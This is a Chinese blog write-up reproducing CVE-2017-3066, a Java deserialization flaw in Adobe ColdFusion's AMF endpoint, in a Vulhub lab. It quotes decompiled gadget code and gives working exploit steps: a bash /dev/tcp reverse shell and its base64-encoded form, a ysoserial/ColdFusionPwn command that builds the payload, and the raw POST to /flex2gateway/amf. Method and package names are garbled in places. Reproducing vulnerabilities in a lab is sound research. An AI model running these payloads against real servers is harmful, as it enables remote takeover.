[CVE-2017-3066]AdobeColdFusion反序列化漏洞复现
0x00 漏洞概述
编号为CVE-2017-3066。
Adobe ColdFusion是漂亮国Adobe公司的⼀款动态Web服务器产品,其运⾏的CFML(ColdFusion Markup Language)是针对Web应⽤的⼀种程序设计语⾔。Adobe ColdFusion是类似于ASP之类的应⽤程序开发平台,但其诞⽣时间更为久远。开发者可使⽤Adobe ColdFusion来搭建⽹站、SOAP以及REST Web服务,使⽤AMF(Action Message Format)与Adobe Flash进⾏交互。
Adobe ColdFusion中存在Java反序列化漏洞。攻击者可以利⽤该漏洞在受影响的应⽤程序的上下⽂中执⾏任意代码或造成拒绝服务。
受影响版本:Adobe ColdFusion (2016 release) Update 3及之前的版本、ColdFusion 11 Update 11及之前的版本、ColdFusion 10 Update 22及之前的版本。
0x01 靶机部署
访问靶机:
注意:由于使⽤的镜像来源于Vulhub,管理员密码为vulhub。
0x02 ⽩名单问题
最常规的利⽤思路来⾃Adobe ColdFusion的⽩名单问题。
Adobe ColdFusion(指定存在漏洞的版本)没有采⽤可信类的⽩名单机制,这意味着只要某个类位于Adobe ColdFusion的类路径(classpath),且符合Java Beans规范或者实现了java.io.Externalizable,就可以发送到服务器进⾏反序列化。
实现了java.io.Externalizable接⼝的JRE类(i.server.UnicastRef2和i.server.UnicastRef)会在AMF3反序列化过程中触发⼀个TCP出站连接(可被利⽤作反弹Shell)。当成功连接了攻击者的服务器后,程序会使⽤Java原⽣的反序列化⽅法adObject()来反序列化服务器的响应数据。结合Java原⽣反序列化和AMF反序列化让许多通⽤马在此场景得以应⽤。
0x03 Setter问题
公开的Setter⽅法是Java Beans规范的⼀部分。
按照组织⾥⼤佬的做法,⽤Eclipse建⽴项⽬,将Adobe ColdFusion 12的所有jar包以外部库形式导⼊,进⼀步查看Java原⽣反序列化⽅法adObject()的调⽤情况,打开”Call Hierarchy“。Eclipse⽀持在没有源代码的前提下根据现有类信息构造函数调⽤图(巨⼤)。
根据⼤佬的审计结果,在org.jgroups.blocks.ReplicatedTree类的setState(byte[] new_state)⽅法存在问题。
/* */ public void setState(byte[] new_state) /* */ {
/* 597 */ Node new_root = null;
/* */ /* */ /* 600 */ if (new_state == null) {
/* 601 */ if (log.isInfoEnabled()) log.info("new cache is null");
/* 602 */ return;
/* */ }
/* */ try {
/* 605 */ Object obj = Util.objectFromByteBuffer(new_state);
cve漏洞库/* 606 */ new_root = (Node)((Node)obj).clone();
/* 607 */ root = new_root;
/* 608 */ notifyAllNodesCreated(root);
/
* */ }
/* */ catch (Throwable ex) {
/* 611 */ if (log.isErrorEnabled()) { ("could not set cache: " + ex);
/* */ }
/* */ }
/* */ }
根据函数调⽤图,该调⽤链的最后⼀个节点是调⽤adObject()。
传递给setState()的byte[]参数在0x0偏移处有⼀个额外字节0x2,见org.jgroups.util.Util类的364⾏开始的代码,向下执⾏了⼀个switch:/* */ public static Object objectFromByteBuffer(byte[] buffer, int offset, int length) throws Exception
/* */ {
/* 358 */ if (buffer == null) return null;
/* 359 */ if (JGROUPS_COMPAT)
/* 360 */ return oldObjectFromByteBuffer(buffer, offset, length);
/* 361 */ Object retval = null;
/* 362 */ InputStream in = null;
/* 363 */ ByteArrayInputStream in_stream = new ByteArrayInputStream(buffer, offset, length);
/* 364 */ byte b = (byte)ad();
/* */ try {
/* */ int len;
/* 367 */ switch (b) {
/* */ case 0:
/* 369 */ return null;
/
* */ case 1:
/* 371 */ in = new DataInputStream(in_stream);
/* 372 */ retval = readGenericStreamable((DataInputStream)in);
/* 373 */ break;
/* */ case 2:
/* 375 */ in = new ObjectInputStream(in_stream);
/* 376 */ retval = ((ObjectInputStream)in).readObject();
/* */ //... /* */ }
/* */ }
/* */ }
具体POC可⽤⼤佬制作的⽣成。
此漏洞利⽤⽅法要求必须是Adobe ColdFusion 12,且开启JGroups。
0x04 Externalizable问题
另有⼀种利⽤思路来⾃org.apache.axis2.util.MetaDataEntry类的readExternal⽅法。
在代码的297⾏,程序会调⽤SafeObjectInputStream.install(inObject)⽅法:
/* */ public static SafeObjectInputStream install(ObjectInput in) /* */ {
/* 62 */ if ((in instanceof SafeObjectInputStream)) {
/* 63 */ return (SafeObjectInputStream)in;
/
* */ }
/* 65 */ return new SafeObjectInputStream(in) ;
/* */ }
这个函数中,AMF3Input实例属于org.t.externalize.SafeObjectInputStream类的⼀个实例。
/* */ private Object readObjectOverride() /* */ throws IOException, ClassNotFoundException
/* */ {
/* 318 */ boolean isActive = in.readBoolean();
/* 319 */ if (!isActive) {
/* 320 */ if (isDebug) {
/* 321 */ log.debug("Read object=null");
/* */ }
/* 323 */ return null;
/* */ }
/* 325 */ Object obj = null;
/* 326 */ boolean isObjectForm = in.readBoolean();
/* 327 */ if (isObjectForm)
/* */ {
/* 329 */ if (isDebug) {
/* 330 */ log.debug(" reading using object form");
/* */ }
/* 332 */ obj = in.readObject();
/* */ } else {
/
* 334 */ if (isDebug) {
/* 335 */ log.debug(" reading using byte form");
/* */ }
/* */ /* 338 */ ByteArrayInputStream bais = getByteStream(in);
/* */ /* */ /* 341 */ ObjectInputStream tempOIS = createObjectInputStream(bais);
/* 342 */ obj = adObject();
/* 343 */ tempOIS.close();
/* 344 */ bais.close();
/* */ }
/* */ //... /* */ }
第341⾏创建了org.t.externalize.ObjectInputStreamWithCL的新实例,这个类是扩展(extend)了标准java.io.ObjectInputStream类的。在342⾏实现
了readObject()⽅法的调⽤。
同样可以利⽤⼤佬的⼯具⽣成POC,且对Adobe ColdFusion 11/12同时⽣效。
0x05 利⽤流程
针对靶机的Adobe ColdFusion 11发起攻击。
使⽤的⼯具为:
;
,其JAR包地址为jitpack.io/com/github/frohoff/ysoserial/master-d367e379d9-1/ysoserial-master-d367e379d9-1.jar;
,⽤于编码POC。
写⼀个Bash版的反弹Shell(内⽹环境):
bash -i >& /dev/tcp/192.168.0.108/8848 0>&1
Base64编码过⼀下:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTA4Lzg4NDggMD4mMQ==}|{base64,-d}|{bash,-i}
置⼊⽣成POC的命令中,⽣成getshell.ser:
java -cp ColdFusionPwn-0.0.1-SNAPSHOT-all.jar:ysoserial-0.0.6-SNAPSHOT-all.ldfusionpwn.ColdFusionPwner -e Commo nsBeanutils1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTA4Lzg4NDggMD4mMQ==}|{base64,-d}|{bash,-i}" getshell.ser 注意:命令在Windows 10上运⾏失败,提⽰不到或缺少主类。在Kali 2021上测试⽣成没有问题。
通过POST⽅法送⾄/flex2gateway/amf路径,Content-Type为application/x-amf:
POST /flex2gateway/amf HTTP/1.1
Host: 127.0.0.1:56739
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="92"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36 Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: 127.0.0.1:56739/CFIDE/administrator/topnav.cfm
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-amf
Cookie: JSESSIONID=910BC72D71919F399B01DA255FADF21F.cfusion; CFADMIN_LASTPAGE_ADMIN=%2FCFIDE%2Fadministrator%2Fhome page%2Ecfm; CFAUTHORIZATION_cfadmin="YWRtaW4NY2ZhZG1pbg0xNjI4MzQzMzc4NDg0DTY5MTEzNDg4QkZBODI5M0U="; CFID=4; CFTO KEN=4f2cc63482f801b1-48495623-FF69-22B4-90EB72AC58A70C7C
Connection: close
[这⾥写POC]
另⼀边的监听连接成功:
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论